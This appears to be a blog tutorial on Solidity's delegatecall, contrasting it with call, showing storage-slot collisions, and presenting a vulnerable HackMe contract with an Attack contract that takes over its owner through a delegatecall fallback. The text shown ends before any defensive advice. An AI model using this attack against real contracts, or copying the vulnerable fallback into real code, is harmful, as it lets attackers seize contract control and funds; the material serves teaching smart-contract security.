May 10, 2023
The delegatecall in Solidity is a method of calling a contract that allows a contract to call a function of another contract while the execution environment is the caller's runtime environment. This invocation method can improve the flexibility and reusability of code in some cases, but there are also security risks. This article will delve into how delegatecall vulnerabilities work, examples, and how to avoid such vulnerabilities.
First, let's understand the two common external function calls in contracts: call and delegatecall, and let's see the difference through a simple little experiment.
First, let's look at Contract A:
contract A {
address public a;
function test() public returns (address b){
b = address(this);
a = b;
}
}
After deployment, we get the address of contract A. We then use the address of contract A to deploy contract B:
contract B {
address public a;
address Aaddress = //这里填入 A 合约的地址;
function testCall() public{
Aaddress.call(abi.encodeWithSignature("test()"));
}
function testDelegatecall() public{
Aaddress.delegatecall(abi.encodeWithSignature("test()"));
}
}
When we call the B.testCall() or B.testDelegatecall() functions, both of which go on to call A.test(), all we need to do is observe the change in address a in the B contract versus the A contract.
First, let's look at the value of address a in contract A and contract B after deployment:
In the figure above, the value of address a in both contract A and contract B is 0. We then call the B.testCall() function, we can see the value of address a in Contract B did not change.
Let's look at the value of address a in the contract A. Here we can see that the address a is now assigned the value 0x9F2b8EAA0cb96bc709482eBdcB8f18dFB12D3133, which is the address of the A contract:
Here we can conclude that when a contract uses the call function to make an external function call, the corresponding code is executed in the code environment of the called contract, with no effect on the caller.
After redeployment, call the B.testDelegatecall() function (here the previous contract data needs to be cleared so it needs to be redeployed and the addresses of the two contracts will change):
After the successful call we check the value of the address a. Here we find that address a was successfully assigned in the contract B, the current address a is 0xB25f1f0B4653b4e104f7Fbd64Ff183e23CdBa582, this value is the address of the B contract.
Let's look at the value of the address a in the contract A again and find that it hasn't changed:
So when we use B.testDelegatecall() to call A.test(), the code logic in the test function is executed in the environment of the B contract, which is equivalent to taking the code of A.test() and executing it in the B contract, and this operation does not affect the data in the A contract.
To summarize, the difference between call and delegatecall is clear from the small experiment above:
Having understood the difference between the delegatecall function and the call function, let's look at an interesting feature of the delegatecall function.
Here we take the two contracts we just made and modify them slightly by adding address c to both contracts:
contract A {
address public c;
address public a;
function test() public returns (address b){
b = address(this);
a = b;
}
}
contract B {
address public a;
address public c;
address Aaddress = //这里填入 A 合约的地址;
function testCall() public{
Aaddress.call(abi.encodeWithSignature("test()"));
}
function testDelegatecall() public{
Aaddress.delegatecall(abi.encodeWithSignature("test()"));
}
}
Here you can see from the code that we have reversed the order of declaration of address a and address c in both contracts. Here we call B.testDelegatecall() after deploying the contract (the deployment process is omitted here).
Let's see what happens to the values of address a and address c:
Here you must have found the problem, through A.test(), the address a is obviously modified. Why is the address a not changed after the call, but the address c is modified?
This leads to an interesting feature of the delegatecall function, when our external calls involve the modification of storage variables, the variables are not modified according to their names, but according to their storage locations. Address c in contract A is stored in slot0 and address a in slot1, and vice versa In contract B, address a is stored in slot0 and address c is stored in slot1. When we call the test function in contract A by calling the delegatecall function in contract B, the test function modifies slot 1 in contract A, so the code runs with the result that address c in contract B is modified, because slot 1 in contract B corresponds to the location where address c is stored.
To summarize: when using the delegatecall function for external calls involving storage variables, the change is based on the slot location rather than the variable name.
Through the above, we already have a certain understanding of delegatecall. Here we combine the contract code to simulate a real attack scenario:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
We can see that there are two contracts, the Lib contract only has a pwn function to modify the owner of the contract, in the HackMe contract there is a fallback function, the contents of the fallback function is to use delegatecall to call the function in the Lib contract. We need to use HackMe.fallback() to trigger the delegatecall function to call Lib.pwn() to change the owner of the HackMe contract to ourselves.
Below, are the attack contracts deployed by the attacker:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
Let's first review when the fallback function will be triggered?
Next, let's look at the details of the attack:
The attack function first calls HackMe.pwn() and finds that there is no pwn function in the HackMe contract, which then triggers HackMe.fallback(), and HackMe.fallback() uses deldegatecall to call the function in the Lib contract, whose function name msg.data is "pwn()". As we learned earlier, the execution environment of the delegatecall function is the caller's environment, and the storage variable is modified according to the slot location of the called contract.
In short, after HackMe calls Lib.pwn() by delegatecall, it is equivalent to taking Lib.pwn() directly to the HackMe contract. The pwn function modifies the variable owner stored in slot0 in the Lib contract, so that HackMe calls the pwn function by delegatecall and modifies the variable stored in slot0 in the HackMe contract, which also happens to be the owner variable, so that the owner in the HackMe contract is successfully modified by the attacker to be himself.